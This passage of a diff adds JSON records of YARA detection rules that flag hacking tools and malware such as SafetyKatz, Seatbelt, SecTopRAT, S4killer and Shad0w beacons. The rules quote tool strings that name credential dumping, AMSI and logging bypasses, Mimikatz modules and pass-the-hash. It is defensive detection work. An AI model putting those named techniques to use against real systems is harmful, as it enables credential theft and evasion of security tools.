+  "last_update": "2026-03-23T11:46:25.582236Z",
+  "creation_date": "2026-03-23T11:46:25.582238Z",
+  "enabled": true,
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:46:25.582243Z",
+  "rule_level": "critical",
+  "rule_level_override": null,
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://github.com/enkomio/s4killer\nhttps://attack.mitre.org/techniques/T1562/001/"
+  ],
+  "name": "s4killer.yar",
+  "content": "rule s4killer {\n    meta:\n        title = \"S4killer HackTool\"\n        id = \"2071f721-f13d-4db4-a990-f8731b52e2ec\"\n        description = \"Detects S4killer HackTool.\\nS4killer is a tool that leverages the probmon.sys vulnerable driver to kill protected processes. It creates a service to load the driver and sends a specific filter message to register the processes to be terminated. This technique allows S4killer to disrupt or terminate protected processes, potentially hindering security mechanisms.\\nIt is recommended to investigate the context around this alert to look for malicious actions.\"\n        references = \"https://github.com/enkomio/s4killer\\nhttps://attack.mitre.org/techniques/T1562/001/\"\n        date = \"2024-03-01\"\n        modified = \"2025-03-17\"\n        author = \"HarfangLab\"\n        tags = \"attack.defense_evasion;attack.t1562.001;attack.t1211\"\n        os = \"Windows\"\n        classification = \"Windows.HackTool.S4killer\"\n        context = \"process,memory,thread,file.pe\"\n        score = 100\n        confidence = \"strong\"\n\n    strings:\n        // Detection for this sample:\n        // 5109c98359a6cdcf14c156def1e0dd1440c4aa2b4882e590edf4a8ec54238592\n\n        $certificate_serial_num = { 01 00 00 00 00 01 30 6D E1 66 BE }\n        $certificate_subject = \"ITM System Co\"\n        $driver_service_name = \"probmon\" wide ascii\n        $filter_name = \"\\\\ITM_Mon\" wide ascii\n        $regkey_creation00 = \"SYSTEM\\\\CurrentControlSet\\\\Services\\\\\" wide ascii\n        $regkey_creation01 = \"Instances\" wide ascii\n        $key_value00 = \"Altitude\" wide ascii\n        $key_value01 = \"145610\" wide ascii\n        $loadpriv = \"SeLoadDriverPrivilege\" wide ascii\n        $winapi00 = \"CreateService\" wide ascii\n        $winapi01 = \"RegCreateKey\" wide ascii\n        $winapi02 = \"OpenSCManager\" wide ascii\n        $winapi03 = \"OpenService\" wide ascii\n        $winapi04 = \"FilterLoad\" wide ascii\n        $winapi05 = \"FilterConnectCommunicationPort\" wide ascii\n        $winapi06 = \"FilterSendMessage\" wide ascii\n\n    condition:\n        all of them\n}\n",
+  "rule_count": 1,
+  "rule_names": [
+    "s4killer"
+  ],
+  "rule_creation_date": "2024-03-01",
+  "rule_modified_date": "2025-03-17",
+  "rule_os": [
+    "windows"
+  ],
+  "rule_classifications": [
+    "Windows.HackTool.S4killer"
+  ],
+  "rule_tactic_tags": [
+    "attack.defense_evasion"
+  ],
+  "rule_technique_tags": [
+    "attack.t1562.001",
+    "attack.t1211"
+  ],
+  "rule_score": 100,
+  "rule_context": [
+    "thread",
+    "memory",
+    "file.pe",
+    "process"
+  ],
+  "source": "215dd4e5-9cb3-4e8e-805c-9e96809b7645"
+}
+{
+  "id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645-safetykatz_yar",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:46:25.567819Z",
+  "creation_date": "2026-03-23T11:46:25.567821Z",
+  "enabled": true,
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:46:25.567827Z",
+  "rule_level": "critical",
+  "rule_level_override": null,
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://attack.mitre.org/software/S0002/\nhttps://github.com/GhostPack/SafetyKatz"
+  ],
+  "name": "safetykatz.yar",
+  "content": "rule safetykatz {\n    meta:\n        title = \"SafetyKatz HackTool\"\n        id = \"534f9b91-f1a0-4305-91af-3a9daeaa5ecd\"\n        description = \"Detects SafetyKatz HackTool.\\nSafetyKatz is a modified version of the Mimikatz project combined with subtee's .NET PE Loader. It is primarily used for credential dumping, extracting plaintext Windows account logins and passwords. The tool also includes features for testing network security and enumerating system information.\\nIt is recommended to investigate the context around this alert to look for malicious actions.\"\n        references = \"https://attack.mitre.org/software/S0002/\\nhttps://github.com/GhostPack/SafetyKatz\"\n        date = \"2023-11-14\"\n        modified = \"2025-03-17\"\n        author = \"HarfangLab\"\n        tags = \"attack.s0002;attack.credential_access;attack.t1003;attack.t1078;attack.t1550.002;attack.t1550.003\"\n        classification = \"Windows.HackTool.Safetykatz\"\n        context = \"process,memory,thread,file.pe\"\n        os = \"Windows\"\n        score = 100\n        confidence = \"strong\"\n\n    strings:\n        // Detection for this sample:\n        // 0a9ba1ef5df3e340384eef59a79eb8ac85608d676478603aa91c5e90ae31eb7a\n\n        $safety = \"SafetyKatz\" ascii\n\n        $s1 = \"privilege::debug\" wide\n        $s2 = \"{0}\\\\Temp\\\\filessasl.txt\" wide\n        $s3 = \"[X] Not in high integrity, unable to grab a handle to lsass!\" wide\n        $s4 = \"[X] Process is not 64-bit, this version of Mimikatz won't work yo'!\" wide\n\n    condition:\n        (uint16(0) == 0x5a4d and #safety > 1) or 3 of ($s*)\n}\n",
+  "rule_count": 1,
+  "rule_names": [
+    "safetykatz"
+  ],
+  "rule_creation_date": "2023-11-14",
+  "rule_modified_date": "2025-03-17",
+  "rule_os": [
+    "windows"
+  ],
+  "rule_classifications": [
+    "Windows.HackTool.Safetykatz"
+  ],
+  "rule_tactic_tags": [
+    "attack.credential_access"
+  ],
+  "rule_technique_tags": [
+    "attack.t1550.002",
+    "attack.t1078",
+    "attack.t1003",
+    "attack.t1550.003"
+  ],
+  "rule_score": 100,
+  "rule_context": [
+    "thread",
+    "memory",
+    "file.pe",
+    "process"
+  ],
+  "source": "215dd4e5-9cb3-4e8e-805c-9e96809b7645"
+}
+{
+  "id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645-seatbelt_yar",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:46:25.563560Z",
+  "creation_date": "2026-03-23T11:46:25.563563Z",
+  "enabled": true,
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:46:25.563569Z",
+  "rule_level": "high",
+  "rule_level_override": null,
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://github.com/GhostPack/Seatbelt"
+  ],
+  "name": "seatbelt.yar",
+  "content": "rule seatbelt {\n    meta:\n        title = \"Seatbelt Tool\"\n        id = \"73f93502-a007-4575-806e-5d2ee0da57e8\"\n        description = \"Detects Seatbelt, a C# project that performs security-oriented host-survey safety checks from both offensive and defensive perspectives.\\nIt identifies potential security weaknesses, misconfigurations, and vulnerable settings on a system. The tool is used for proactive security testing and red teaming exercises to assess an environment's security posture.\\nIt is recommended to investigate the context around this alert to look for malicious actions and to determine if the usage of this tool is legitimate.\"\n        references = \"https://github.com/GhostPack/Seatbelt\"\n        date = \"2021-04-22\"\n        modified = \"2025-03-17\"\n        author = \"HarfangLab\"\n        tags = \"attack.discovery;attack.t1082\"\n        classification = \"Windows.Tool.Seatbelt\"\n        context = \"process,file.pe\"\n        os = \"Windows\"\n        arch = \"x86,x64\"\n        score = 70\n        confidence = \"strong\"\n\n    strings:\n        // Detection for this sample:\n        // fa0f2d94a049d825bef77e103e33167250ed2ac0\n\n        $log_01 = \"[*] Running commands remotely against the host '\" wide\n        $log_02 = \"[!] Terminating exception running command '\" wide\n        $log_03 = \"[*] Completed collection in {0} seconds\" wide\n        $log_04 = \"[!] The highest .NET version is enrolled in AMSI!\" wide\n        $log_05 = \"[*] You can invoke .NET version {0}.{1} to bypass AMSI.\" wide\n        $log_06 = \"[!] NTLM clients support NTLMv1!\" wide\n        $log_07 = \"[!] NTLM services on this machine support NTLMv1!\" wide\n        $log_08 = \"[*] In medium integrity but user is a local administrator - UAC can be bypassed.\" wide\n        $log_09 = \"[!] Version 2.0.50727 of the CLR is not installed - PowerShell v2.0 won't be able to run.\" wide\n        $log_10 = \"[!] You can do a PowerShell version downgrade to bypass the logging.\" wide\n        $log_11 = \"[!] Module logging is configured. Logging will not occur, however, because it requires PSv3.\" wide\n        $log_12 = \"[!] Script block logging is configured. Logging will not occur, however, because it requires PSv5.\" wide\n        $log_13 = \"[!] You can do a PowerShell version downgrade to bypass AMSI.\" wide\n        $log_14 = \"[!] Certificate is used for client authentication!\" wide\n        $log_15 = \"[X] 'Win32_DeviceGuard' WMI class unavailable\" wide\n        $log_16 = \"[*] LAPS not installed\" wide\n        $log_17 = \"[*] You can use SharpDPAPI or the Mimikatz \\\"dpapi::rdg\\\" module to decrypt any found .rdg files\" wide\n        $log_18 = \"[!] Could not locate\" wide\n        $log_19 = \"[!] Insufficient privileges to access\" wide\n        $log_20 = \"[*] LocalAccountTokenFilterPolicy set to 0 and FilterAdministratorToken == 1.\" wide\n        $log_21 = \"[!] Error accessing\" wide\n        $log_22 = \"[*] AppIDSvc service is {0}\" wide\n        $log_23 = \"[*] Applocker is not running because the AppIDSvc is not running\" wide\n        $log_24 = \"[*] AppLocker not configured\" wide\n        $log_25 = \"[*] {0} not configured\" wide\n        $log_26 = \"[*] {0} is in {1}\" wide\n        $log_27 = \"[*] No rules\" wide\n        $log_28 = \"[*] Local accounts cannot be used for lateral movement.\" wide\n        $log_29 = \"[X] 'MSFT_ScheduledTask' WMI class unavailable (minimum supported versions of Windows: 8/2012)\" wide\n        $log_30 = \"[X] 'MSFT_DNSClientCache' WMI class unavailable (minimum supported versions of Windows: 8/2012)\" wide\n        $log_31 = \"[*] Use the Mimikatz \\\"dpapi::masterkey\\\" module with appropriate arguments (/pvk or /rpc) to decrypt\" wide\n        $log_32 = \"[*] You can also extract many DPAPI masterkeys from memory with the Mimikatz \\\"sekurlsa::dpapi\\\" module\" wide\n        $log_33 = \"[*] You can also use SharpDPAPI for masterkey retrieval.\" wide\n        $log_34 = \"[*] WDigest is enabled - plaintext password extraction is possible!\" wide\n        $log_35 = \"[*] LSASS Protected Mode is enabled! You will not be able to access lsass.exe's memory easily.\" wide\n        $log_36 = \"[*] RDP Restricted Admin Mode is enabled! You can use pass-the-hash to access RDP on this system.\" wide\n        $log_37 = \"[*] UAC is disabled.\" wide\n        $log_38 = \"[*] Any administrative local account can be used for lateral movement.\" wide\n        $log_39 = \"[*] Default Windows settings - Only the RID-500 local admin account can be used for lateral movement.\" wide\n        $log_40 = \"[*] LocalAccountTokenFilterPolicy == 1. Any administrative local account can be used for lateral movement.\" wide\n\n        $sql_01 = \"SELECT Version FROM Win32_OperatingSystem\" wide\n        $sql_02 = \"SELECT System.ItemPathDisplay,System.FileOwner,System.Size,System.DateCreated,System.DateAccessed,System.Search.Autosummary FROM SystemIndex WHERE Contains(*, '\\\"*{0}*\\\"') AND SCOPE = '{1}' AND (System.FileExtension = '.txt' OR System.FileExtension = '.doc' OR System.FileExtension = '.docx' OR System.FileExtension = '.ppt' OR System.FileExtension = '.pptx' OR System.FileExtension = '.xls' OR System.FileExtension = '.xlsx' OR System.FileExtension = '.ps1' OR System.FileExtension = '.vbs' OR System.FileExtension = '.config' OR System.FileExtension = '.ini')\" wide\n        $sql_03 = \"SELECT * FROM Win32_DeviceGuard\" wide\n        $sql_04 = \"SELECT * FROM Win32_QuickFixEngineering\" wide\n        $sql_05 = \"SELECT * FROM AntiVirusProduct\" wide\n        $sql_06 = \"SELECT Name, State FROM win32_service WHERE Name = 'AppIDSvc'\" wide\n        $sql_07 = \"SELECT * from Win32_Printer\" wide\n        $sql_08 = \"SELECT ProcessId, ExecutablePath, CommandLine FROM Win32_Process\" wide\n        $sql_09 = \"SELECT * FROM Win32_Process WHERE SessionID != 0\" wide\n        $sql_10 = \"SELECT * FROM MSFT_ScheduledTask\" wide\n        $sql_11 = \"SELECT * FROM win32_service\" wide\n        $sql_12 = \"SELECT * FROM MSFT_DNSClientCache\" wide\n        $sql_13 = \"SELECT * FROM Win32_LoggedOnUser\" wide\n        $sql_14 = \"SELECT * FROM Win32_LogonSession\" wide\n        $sql_15 = \"SELECT * FROM Win32_Share\" wide\n        $sql_16 = \"SELECT * FROM Win32_Process\" wide\n        $sql_17 = \"SELECT * FROM win32_networkconnection\" wide\n        $sql_18 = \"SELECT VariableValue from win32_environment WHERE name='\" wide\n\n        $ascii_art_01 = \"                        %&&@@@&&\" wide\n        $ascii_art_02 = \"                        &&&&&&&%%%,                       #&&@@@@@@%%%%%%###############%\" wide\n        $ascii_art_03 = \"                        &%&   %&%%                        &////(((&%%%%%#%################//((((###%%%%%%%%%%%%%%%\" wide\n        $ascii_art_04 = \"%%%%%%%%%%%######%%%#%%####%  &%%**#                      @////(((&%%%%%%######################(((((((((((((((((((\" wide\n        $ascii_art_05 = \"#%#%%%%%%%#######%#%%#######  %&%,,,,,,,,,,,,,,,,         @////(((&%%%%%#%#####################(((((((((((((((((((\" wide\n        $ascii_art_06 = \"#%#%%%%%%#####%%#%#%%#######  %%%,,,,,,  ,,.   ,,         @////(((&%%%%%%%######################(#(((#(#((((((((((\" wide\n        $ascii_art_07 = \"#####%%%####################  &%%......  ...   ..         @////(((&%%%%%%%###############%######((#(#(####((((((((\" wide\n        $ascii_art_08 = \"#######%##########%#########  %%%......  ...   ..         @////(((&%%%%%#########################(#(#######((#####\" wide\n        $ascii_art_09 = \"###%##%%####################  &%%...............          @////(((&%%%%%%%%##############%#######(#########((#####\" wide\n        $ascii_art_10 = \"#####%######################  %%%..                       @////(((&%%%%%%%################\" wide\n        $ascii_art_11 = \"                        &%&   %%%%%      Seatbelt         %////(((&%%%%%%%%#############*\" wide\n        $ascii_art_12 = \"                        &%%&&&%%%%%        v1.1.1         ,(((&%%%%%%%%%%%%%%%%%,\" wide\n        $ascii_art_13 = \"                         #%%%%##,\" wide\n\n        $critical_1 = \"Seatbelt.pdb\" ascii\n        $critical_2 = \"Seatbelt.Commands.Windows.\" ascii\n        $critical_3 = \"Seatbelt.exe\" ascii wide nocase\n\n    condition:\n        uint16(0) == 0x5A4D and (\n            (2 of ($critical_*))     // Any of these strings is close to a hit\n            or (26 of ($log_*))      // 2/3 of 40\n            or (6 of ($sql_*))       // 2/3 of 18\n            or (9 of ($ascii_art_*)) // 2/3 of 13\n        )\n}\n",
+  "rule_count": 1,
+  "rule_names": [
+    "seatbelt"
+  ],
+  "rule_creation_date": "2021-04-22",
+  "rule_modified_date": "2025-03-17",
+  "rule_os": [
+    "windows"
+  ],
+  "rule_classifications": [
+    "Windows.Tool.Seatbelt"
+  ],
+  "rule_tactic_tags": [
+    "attack.discovery"
+  ],
+  "rule_technique_tags": [
+    "attack.t1082"
+  ],
+  "rule_score": 70,
+  "rule_context": [
+    "file.pe",
+    "process"
+  ],
+  "source": "215dd4e5-9cb3-4e8e-805c-9e96809b7645"
+}
+{
+  "id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645-sectoprat_yar",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:46:25.582346Z",
+  "creation_date": "2026-03-23T11:46:25.582348Z",
+  "enabled": true,
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:46:25.582354Z",
+  "rule_level": "critical",
+  "rule_level_override": null,
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://malpedia.caad.fkie.fraunhofer.de/details/win.sectop_rat"
+  ],
+  "name": "sectoprat.yar",
+  "content": "rule sectoprat {\n    meta:\n        title = \"SecTopRAT Stealer\"\n        id = \"5028f000-1e02-4920-98e4-4104d4837283\"\n        description = \"Detects SecTopRAT, a .NET based stealer.\\nSecTopRAT is a sophisticated malware designed to steal sensitive information from infected systems.\\nIt contains various modules for scanning and exfiltrating data from popular applications such as Telegram, VPN services, Steam, Discord, browsers, files, FTP, and wallets.\\nThe malware uses configuration settings to determine which modules to execute and how to communicate with its command-and-control (C2) server.\\nIt also features persistence mechanisms and the ability to recursively scan for additional targets.\"\n        references = \"https://malpedia.caad.fkie.fraunhofer.de/details/win.sectop_rat\"\n        date = \"2024-10-17\"\n        modified = \"2025-07-02\"\n        author = \"HarfangLab\"\n        tags = \"attack.discovery;attack.t1082;attack.credential_access;attack.t1555.003;attack.command_and_control;attack.t1071.001;attack.exfiltration;attack.t1041\"\n        classification = \"Windows.Stealer.SecTopRat\"\n        context = \"process,memory,thread,file.pe\"\n        os = \"Windows\"\n        score = 100\n        confidence = \"strong\"\n\n    strings:\n        // Detection for these samples:\n        // b47fa1551e423d7931a8cba61543ac25a4945d1c7e3fe405d5edc18663d10cae\n        // a354c672e502b1f84041b96c0db87f9f63868908ab01a9d993476854de4834a7\n        // 48378f048afb9220ee1a840e73b8d5b5060fef5df607abc90ed5b7ddbd17add9\n        // 309d20f7a18a1ae1fed72e5c27b0ef2cc0d52dd1629efc250ca74b916730258f\n\n        $s_recoursive00 = \"Recoursive\"\n        $s_recoursive01 = \"<Recoursive>k__BackingField\"\n        $s_recoursive02 = \"get_Recoursive\"\n        $s_recoursive03 = \"set_Recoursive\"\n\n        $s_scan_get00 = \"get_ScanTelegram\"\n        $s_scan_get01 = \"get_ScanVPN\"\n        $s_scan_get02 = \"get_ScanSteam\"\n        $s_scan_get03 = \"get_ScanDiscord\"\n        $s_scan_get04 = \"get_ScanWallets\"\n\n        $s_scan_set00 = \"set_ScanTelegram\"\n        $s_scan_set01 = \"set_ScanVPN\"\n        $s_scan_set02 = \"set_ScanSteam\"\n        $s_scan_set03 = \"set_ScanDiscord\"\n        $s_scan_set04 = \"set_ScanWallets\"\n\n\n        $s_get01 = \"get_ScannedWallets\"\n        $s_get02 = \"get_NordAccounts\"\n        $s_get03 = \"get_Proton\"\n\n        $s_set01 = \"set_ScannedWallets\"\n        $s_set02 = \"set_NordAccounts\"\n        $s_set03 = \"set_Proton\"\n\n    condition:\n        2 of ($s_recoursive*) and\n        3 of ($s_scan_get*) and\n        3 of ($s_scan_set*) and\n        2 of ($s_get*) and\n        2 of ($s_set*)\n}\n",
+  "rule_count": 1,
+  "rule_names": [
+    "sectoprat"
+  ],
+  "rule_creation_date": "2024-10-17",
+  "rule_modified_date": "2025-07-02",
+  "rule_os": [
+    "windows"
+  ],
+  "rule_classifications": [
+    "Windows.Stealer.SecTopRat"
+  ],
+  "rule_tactic_tags": [
+    "attack.command_and_control",
+    "attack.credential_access",
+    "attack.discovery",
+    "attack.exfiltration"
+  ],
+  "rule_technique_tags": [
+    "attack.t1071.001",
+    "attack.t1041",
+    "attack.t1555.003",
+    "attack.t1082"
+  ],
+  "rule_score": 100,
+  "rule_context": [
+    "thread",
+    "memory",
+    "file.pe",
+    "process"
+  ],
+  "source": "215dd4e5-9cb3-4e8e-805c-9e96809b7645"
+}
+{
+  "id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645-shad0w_beacon_core_yar",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:46:25.578203Z",
+  "creation_date": "2026-03-23T11:46:25.578206Z",
+  "enabled": true,
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:46:25.578215Z",
+  "rule_level": "critical",
+  "rule_level_override": null,
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://github.com/bats3c/shad0w"
+  ],
+  "name": "shad0w_beacon_core.yar",
+  "content": "import \"pe\"\n\nrule shad0w_beacon_core {\n    meta:\n        title = \"Shad0w Beacon Core\"\n        id = \"0e80ae07-d963-4de4-90b0-1179ad3bbeb4\"\n        description = \"Detects the SHAD0W Beacon core payload.\\nThis stage is the final payload downloaded from the command-and-control server and executes the attacker's commands.\\nIt is recommended to perform a full file analysis to determine if the binary is malicious.\"\n        references = \"https://github.com/bats3c/shad0w\"\n        date = \"2020-03-11\"\n        modified = \"2025-03-17\"\n        author = \"HarfangLab\"\n        tags = \"attack.t1055.002;attack.t1071.001\"\n        classification = \"Windows.Framework.Shad0w\"\n        context = \"process,memory,thread,file.pe\"\n        os = \"Windows\"\n        arch = \"x86,x64\"\n        score = 100\n        confidence = \"strong\"\n\n    strings:\n        $s1 = \"%sType\\tCreated\\t\\t  Last Access\\t     Length\\t Name\"\n        $s2 = \"%s----\\t-------\\t\\t  -----------\\t     ------\\t ----\"\n        $s3 = \"DIR\\t%.2d/%.2d/%.4d %.2d:%.2d  %.2d/%.2d/%.4d %.2d:%.2d      \\t %s\"\n        $s4 = \"FILE\\t%.2d/%.2d/%.4d %.2d:%.2d  %.2d/%.2d/%.4d %.2d:%.2d   %d\\t %s\"\n        $s5 = \"username=%s&domain=%s&machine=%s&arch=%s&os=%s&secure=%s\"\n        $s6 = \"Directory Changed to: '%s'\"\n        $s7 = \"Resolving IsWow64Process(): FAILED\"\n        $s8 = \"CreateToolhelp32Snapshot(): FAILED\"\n        $s9 = \"BeaconRegisterC2\"\n        $s10 = \"killed idle process\"\n        $s11 = \"doing insecure exec\"\n        $s12 = \"ReflectiveLoader\"\n\n        $e1 = \"ERROR: The path '%s' was unable to be found.\"\n        $e2 = \"ERROR: Access to the path '%s' is denied.\"\n        $e3 = \"ERROR: The filename, directory name, or volume label syntax of '%s' is incorrect.\"\n        $e4 = \"ERROR: The directory '%s' is invalid.\"\n        $e5 = \"ERROR: listing '%s' code: %d.\"\n        $e6 = \"ERROR: The file '%s' was unable to be found.\"\n        $e7 = \"ERROR: changing directory to '%s' code: %d.\"\n        $e8 = \"ERROR: Access to the file '%s' is denied.\"\n        $e9 = \"ERROR: The filename, directory name, or volume label syntax of '%s' is incorrect.\"\n        $e10 = \"ERROR: The file '%s' is invalid.\"\n        $e11 = \"ERROR: listing '%s' code: %d.\"\n        $e12 = \"ERROR: Failed to create '%s' because it already exists.\"\n        $e13 = \"ERROR: Failed to create '%s' because one or more intermediate directories do not exist.\"\n        $e14 = \"ERROR: Failed to create '%s' with error code: %d.\"\n        $e15 = \"ERROR: Failed to delete '%s' because access is denied.\"\n        $e16 = \"ERROR: Failed to delete '%s' because it could not be found.\"\n        $e17 = \"ERROR: Failed to delete '%s' with error code: %d.\"\n        $e18 = \"ERROR: The path '%s' was unable to be found.\"\n        $e19 = \"ERROR: Access to '%s' is denied.\"\n        $e20 = \"ERROR: The filename, directory name, or volume label syntax of '%s' is incorrect.\"\n        $e21 = \"ERROR: The directory '%s' is invalid.\"\n\n    condition:\n        8 of ($s*) and 15 of ($e*)\n}\n",
+  "rule_count": 1,
+  "rule_names": [
+    "shad0w_beacon_core"
+  ],
+  "rule_creation_date": "2020-03-11",
+  "rule_modified_date": "2025-03-17",
+  "rule_os": [
+    "windows"
+  ],
+  "rule_classifications": [
+    "Windows.Framework.Shad0w"
+  ],
+  "rule_tactic_tags": [],
+  "rule_technique_tags": [
+    "attack.t1071.001",
+    "attack.t1055.002"
+  ],
+  "rule_score": 100,
+  "rule_context": [
+    "thread",
+    "memory",
+    "file.pe",
+    "process"
+  ],
+  "source": "215dd4e5-9cb3-4e8e-805c-9e96809b7645"
+}
+{
+  "id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645-shad0w_beacon_decrypted_yar",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:46:25.578293Z",
+  "creation_date": "2026-03-23T11:46:25.578296Z",
+  "enabled": true,
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:46:25.578304Z",
+  "rule_level": "critical",
+  "rule_level_override": null,
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://github.com/bats3c/shad0w"
+  ],
+  "name": "shad0w_beacon_decrypted.yar",
+  "content": "import \"pe\"\n\nrule shad0w_beacon_decrypted {\n    meta:\n        title = \"Decrypted Shad0w Beacon\"\n        id = \"1c187528-ace8-4eac-9657-d89ec4ffd3d3\"\n        description = \"Detects the SHAD0W Beacon stage1 payload after decryption.\\nThis stage establishes communication with the command-and-control server to download the final payload.\\nIt is recommended to block network traffic to the identified C2 server and analyze the payload for malicious activities.\"\n        references = \"https://github.com/bats3c/shad0w\"\n        date = \"2020-03-10\"\n        modified = \"2025-03-17\"\n        author = \"HarfangLab\"\n        tags = \"attack.t1055.002;attack.t1071.001\"\n        classification = \"Windows.Framework.Shad0w\"\n        context = \"process,memory,thread,file.pe\"\n        os = \"Windows\"\n        arch = \"x86,x64\"\n        score = 100\n        confidence = \"strong\"\n\n    strings:\n        // Those are mingw strings, as all shad0w beacons are compiled with mingw\n        $mingw_1 = \"GCC: (GNU) 10-win32\"\n        $mingw_2 = \"Argument domain error (DOMAIN)\"\n        $mingw_3 = \"Overflow range error (OVERFLOW)\"\n        $mingw_4 = \"Partial loss of significance (PLOSS)\"\n        $mingw_5 = \"Total loss of significance (TLOSS)\"\n        $mingw_6 = \"The result is too small to be represented (UNDERFLOW)\"\n        $mingw_7 = \"Argument singularity (SIGN)\"\n\n        // Hard-coded strings present in the binary\n        $shad0w_1 = \"FAILED TO FORMAT\"\n        $shad0w_2 = \"[DEBUG] %s\"\n        $shad0w_3 = \"made callback\"\n        $shad0w_4 = \"payload=x64/windows\"\n        $shad0w_5 = \"Content-Type: application/x-www-form-urlencoded\" wide\n        $shad0w_6 = \"Error %u in WinHttpQueryDataAvailable.\"\n        $shad0w_7 = \"Out of memory, must be a big stage\"\n        $shad0w_8 = \"Allowing: %s\"\n        $shad0w_9 = \"SetProcessMitigationPolicy (ProcessSignaturePolicy) failed\"\n\n    condition:\n        5 of ($mingw_*) and 7 of ($shad0w_*)\n}\n",
+  "rule_count": 1,
+  "rule_names": [
+    "shad0w_beacon_decrypted"
+  ],
+  "rule_creation_date": "2020-03-10",
+  "rule_modified_date": "2025-03-17",
+  "rule_os": [
+    "windows"
+  ],
+  "rule_classifications": [
+    "Windows.Framework.Shad0w"
+  ],
+  "rule_tactic_tags": [],
+  "rule_technique_tags": [
+    "attack.t1071.001",
+    "attack.t1055.002"
+  ],
+  "rule_score": 100,
+  "rule_context": [
+    "thread",
+    "memory",
+    "file.pe",
+    "process"
+  ],
+  "source": "215dd4e5-9cb3-4e8e-805c-9e96809b7645"
+}
+{
+  "id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645-shad0w_beacon_unpacked_yar",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
